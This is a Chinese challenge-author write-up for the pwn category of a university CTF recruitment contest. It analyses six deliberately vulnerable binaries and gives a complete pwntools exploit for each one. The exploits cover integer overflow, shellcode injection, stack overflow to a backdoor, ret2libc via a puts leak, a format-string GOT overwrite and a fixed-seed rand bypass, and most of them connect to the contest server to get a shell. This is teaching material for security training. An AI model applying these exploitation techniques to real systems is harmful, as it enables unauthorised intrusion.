SWPU NSS 2022 秋季招新赛 Pwn 出题人笔记
Does your nc work?
出题人:Gu_xi #博客维护中
给新生的 签到题没有任何过滤
Integer Overflow
出题人:Gu_xi #博客维护中
考点: 整数溢出
32位程序 存在整数溢出
exp
from pwn import *
p = remote('1.14.71.254', 28657)
system = 0x08049100
p.sendlineafter("Tell me your choice:","1")
p.sendlineafter("First input the length of your name:", "-1")
bin_sh = 0x0804a008
payload = b'a'*0x20 + p32(0) +p32(system) +b'aaaa' +p32(bin_sh)
p.sendline(payload)
p.interactive()
shellcode?
出题人:Gu_xi #博客维护中
让新生了解shellcode
from pwn import *
context(arch = 'amd64')
# p = process('./pwn')
p = remote('1.14.71.254',28800)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
有手就行的栈溢出
出题人:Gu_xi #博客维护中
题如名字 有手就行
from pwn import *
#p = process('./pwn')
p = remote('1.14.71.254',28591)
backdoor = 0x401257
payload = b'a'*0x20 + p64(0) + p64(backdoor)
p.sendline(payload)
p.interactive()
FindAnotherWay
Analyze
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
这道题的话可以看到有个youfindit
函数,执行的system("/bin/sh")
,这个其实也就是后门函数
.text:0000000000401230 youfindit proc near
.text:0000000000401230 ; __unwind {
.text:0000000000401230 endbr64
.text:0000000000401234 push rbp
.text:0000000000401235 mov rbp, rsp
.text:0000000000401238 lea rdi, aCongratulation ; "Congratulations , now you find another "...
.text:000000000040123F call _puts
.text:0000000000401244 lea rdi, aHereIsMyGiftEn ; "Here is my gift , enjoy yourself"
.text:000000000040124B call _puts
.text:0000000000401250 lea rdi, command ; "/bin/sh"
.text:0000000000401257 mov eax, 0
.text:000000000040125C call _system
.text:0000000000401261 nop
.text:0000000000401262 pop rbp
.text:0000000000401263 retn
.text:0000000000401263 ; } // starts at 401230
.text:0000000000401263 youfindit endp
vuln函数通过gets()函数来接收用户的输入,由于gets不限制输入长度,所以存在明显栈溢出,通过覆盖返回地址,跳转到call_system去,压入参数'/bin/sh'的地址,让'/bin/sh'作为system函数的参数即可getshell
int vuln()
{
char s[12]; // [rsp+4h] [rbp-Ch] BYREF
gets(s);
return puts(s);
}
Exp
from pwn import *
#io = process("./FindanotherWay")
io = remote("1.14.71.254" , 28175)
pop_rdi = 0x0000000000401343
bin_sh = 0x0000000000402391
system = 0x40125C
payload = b'a' * (0xc + 0x8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
io.recvuntil("Maybe another way?\n")
io.sendline(payload)
io.interactive()
WheretoGo
Analyze
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
vuln函数通过read函数接收用户输入,虽然不像gets函数那样限制用户输入的长度,但是由于这里接收的长度是256,是大于定义buf的大小128的,所以这里同样有一个栈溢出漏洞
void __cdecl vuln()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
read(0, buf, 256uLL);
}
由于程序没有可以利用的后门函数,也开启了NX,所以无法写入shellcode,那么就可以尝试ret2libc了
_init_proc .init 0000000000401000 0000001B 00000008 R . . . . . . .
sub_401020 .plt 0000000000401020 0000000D R . . . . . . .
sub_401030 .plt 0000000000401030 0000000F R . . . . . . .
sub_401040 .plt 0000000000401040 0000000F R . . . . . . .
sub_401050 .plt 0000000000401050 0000000F R . . . . . . .
_puts .plt.sec 0000000000401060 0000000B R . . . . . T .
_setbuf .plt.sec 0000000000401070 0000000B R . . . . . T .
_read .plt.sec 0000000000401080 0000000B R . . . . . T .
_start .text 0000000000401090 0000002F . . . . . . . .
_dl_relocate_static_pie .text 00000000004010C0 00000005 00000000 R . . . . . . .
deregister_tm_clones .text 00000000004010D0 00000021 00000000 R . . . . . . .
register_tm_clones .text 0000000000401100 00000031 00000000 R . . . . . . .
__do_global_dtors_aux .text 0000000000401140 00000021 00000000 R . . . . . . .
frame_dummy .text 0000000000401170 00000006 00000000 R . . . . . . .
init .text 0000000000401176 00000047 00000008 R . . . . B T .
vuln .text 00000000004011BD 00000025 00000088 R . . . . B T .
nss .text 00000000004011E2 00000047 00000008 R . . . . B T .
main .text 0000000000401229 00000044 00000018 R . . . . B T .
__libc_csu_init .text 0000000000401270 00000065 00000038 R . . . . . T .
__libc_csu_fini .text 00000000004012E0 00000005 00000000 R . . . . . T .
_term_proc .fini 00000000004012E8 0000000D 00000008 R . . . . . . .
puts extern 0000000000404078 00000008 R . . . . . T .
setbuf extern 0000000000404080 00000008 R . . . . . T .
read extern 0000000000404088 00000008 R . . . . . T .
__libc_start_main extern 0000000000404090 00000008 R . . . . . T .
__gmon_start__ extern 0000000000404098 00000008 R . . . . . . .
这里通过puts函数来泄露libc,拿到libc基址,从而得到system函数和/bin/sh的地址
第一次payload泄露puts函数地址
payload = b'a' * (0x80 + 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
接收puts函数地址
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8 , b"\x00"))
计算libc基址
libc_base = puts_addr - libc.sym['puts']
如果不知道libc版本的话可以用LibcSearcher,这道题我应该是给了libc的
拿到system和/bin/sh地址
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
第二次payload,getshell
payload = flat(['a' * (0x80 + 0x8) , ret , pop_rdi , bin_sh , system])
Exp
from pwn import *
elf = ELF("./WheretoGo")
context(os = "linux" , arch = "amd64" , log_level = "debug")
libc = elf.libc
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004012d3
ret = 0x000000000040101a
main = elf.sym['main']
io = process("./WheretoGo")
#io = remote("1.14.71.254" , 28871)
io.recvuntil("Could you please tell me where to go?")
payload = b'a' * (0x80 + 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8 , b"\x00"))
success("leak puts_addr = " + hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
payload = flat(['a' * (0x80 + 0x8) , ret , pop_rdi , bin_sh , system])
io.recvuntil("Could you please tell me where to go?")
io.sendline(payload)
io.interactive()
InfoPrinter
Analyze
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[312]; // [rsp+0h] [rbp-140h] BYREF
unsigned __int64 v6; // [rsp+138h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
nss();
puts("Show me what you can print");
printf("Here is a key %p ", &puts);
puts("now leak it");
fflush(stdout);
fgets(s, 300, stdin);
printf(s);
puts(xx);
fflush(stdout);
return __readfsqword(0x28u) ^ v6;
}
可以看到程序一开始是把puts函数的真实地址给了我们的,我们就可以通过它得到libc基址,在知道libc版本的情况下就可以拿到system和/bin/sh的地址
接着程序通过fgets接收用户输入后,用printf输出,那么这里存在格式化字符串漏洞,我们可以通过该漏洞去泄露或者覆盖栈上的值
再接着,最后有个puts(xx)
,xx这个变量在函数中并没有出现过,可以知道是个全局变量,双击跟进可以看到
.data:0000000000403878 xx db 'ModifyMe',0 ; DATA XREF: main+A3↑o
.data:0000000000403878 _data ends
xx在data段,存的是"ModifyMe",根据英文其实就可以知道,这里需要我们通过前文提到的格式化字符串漏洞来修改xx和puts
那么下面就是思考要将puts(xx)
修改成什么呢
前面我们是不是通过puts函数可以拿到libc基址,从而拿到system函数或者/bin/sh的地址,这里我们想要getshell的话,是不是可以把puts(xx)
给覆写成system('/bin/sh')
,当程序执行到puts(xx)
的时候实则执行的system('/bin/sh')
,从而拿到shell
思路可行后就是开始构造exp了,这里我们可以使用fmtstr_payload这个工具来帮助我们构造格式化字符串payload
首先动调找到格式化字符串的偏移,这里我使用的是fmtarg
pwndbg> fmtarg 0x7fffffffddf0
The index of format argument : 6 ("\%5$p")
拿到system函数(见exp)和xx的地址后构造payload
payload = fmtstr_payload(6,{elf.got['puts']:system , 0x403878:b"/bin/sh\x00"})
Exp
from pwn import *
context(os = "linux" , arch = "amd64" , log_level = "debug")
# io = process("./InfoPrinter")
io = remote("1.14.71.254" , 28883)
elf = ELF("./InfoPrinter")
io.recvuntil("Here is a key ")
puts_addr = int(io.recv(14) , 16)
success("puts_addr = " + hex(puts_addr))
libc = elf.libc
libc_base = puts_addr - libc.sym['puts']
success("leak libc_base = " + hex(libc_base))
system = libc_base + libc.sym['system']
payload = fmtstr_payload(6,{elf.got['puts']:system , 0x403878:b"/bin/sh\x00"})
io.recvuntil("now leak it\n")
io.sendline(payload)
io.interactive()
是不是非常简单
Darling
Analyze
这道题的考点其实就是伪随机数,还不是随机数预测,主要是想让大家熟悉ctypes的使用,题目很简单我们来分析下逻辑
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[2]; // [rsp+Ch] [rbp-14h] BYREF
int v5; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
pic();
darling();
puts("There may be many uncertainties in the world, but the only certainty is my love for you.\n");
v4[1] = 20020819;
srand(0x1317E53u);
v5 = rand() % 100 - 64;
__isoc99_scanf("%d", v4);
if ( v5 == v4[0] )
backdoor();
else
puts("Oh :( , you didn't get my love");
return 0;
}
v4是20020819,srand()初始化随机数发生器,0x1317E53u其实就是十六进制的20020819,作为随机数种子
可以看到每次程序运行随机数的种子都是确定的20020819,那么生成的随机数其实也是固定了的,可以写个c运行一下直接拿到这个伪随机数:684577881,然后整除100后减去64,计算下可以得到17
程序接收用户输入,如果输入值等于刚才生成的伪随机数整除100后减去64得到的值(17)就跳转到后门函数,这道题的思路就是这样
拿到伪随机数的c
int main(){
int seed = 0x1317E53;
int num;
srand(seed);
num = (rand() % 100) - 0x40;
printf("%d" , num);
return 0;
}
#684577881
拿到伪随机数后计算就可得到程序想要的数字
下面是通过ctypes写脚本,关于ctypes的更多用法大家可以下去了解下,这对于其他如果涉及到C库函数的题会比较有用
Exp
from pwn import *
from ctypes import *
context(os = "linux" , arch = "amd64" , log_level = "debug")
# host = ""
# port =
local = int(input("0 for remote , 1 for local:\t"))
io = process("Darling") if local == 1 else remote(host , port)
libc_rand = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc_rand.srand(20020819)
io.recvuntil("There may be many uncertainties in the world, but the only certainty is my love for you.\n")
io.sendline(str(libc_rand.rand() % 100 - 64))
io.interactive()
There may be many uncertainties in the world, but the only certainty is my love for you.
SWPU NSS 2022 秋季招新赛 Pwn 出题人笔记
https://www.wd-ljt.com/post/1024/890.html
来源于问谛居,转载记得联系作者哟~
共有 0 条评论